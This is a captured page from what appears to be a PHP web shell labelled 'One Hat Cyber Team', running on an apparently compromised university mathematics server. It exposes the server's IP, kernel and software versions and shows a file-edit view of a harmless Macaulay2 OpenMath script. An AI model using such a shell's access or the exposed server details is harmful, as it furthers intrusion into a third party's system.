One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
Macaulay2
/
OpenMath
/
cds
/
Edit File:
field4.m2
-- done:field_by_poly_vector, -- todo: automorphism_group, field_by_poly_map, homomorphism_by_generators --- From OpenMath --- OMSEvaluators#"field4" = new MutableHashTable; OMSEvaluators#"field4"#"field_by_poly_vector" = (args, attrs) -> ( a := apply(args, fromOpenMath); if #a =!= 2 then ( theOMerror = "field4.field_by_poly_vector comes with 2 arguments."; error("whoops"); ); --The field and its generator R := a#0; g := (generators(R))#0; --The element r := 0; for i in 0..((degree R)-1) do r = r + ((a#1)#i)*g^i; --Done! r ) --- To OpenMath --- toOpenMathFFElt_Vector = t -> ( R := class t; --Get the polynomial (coefficients) for the element lst := listForm(lift(t, ambient(R))); r := new MutableList from apply(1..(degree R), i->0); for i in lst do r#(((i#0)#0)) = i#1; r = new List from r; r = toOpenMath r; --Get the field itself omR := toOpenMathFieldByPoly R; --Done! OMA("field4", "field_by_poly_vector", {omR, r}) )
Simpan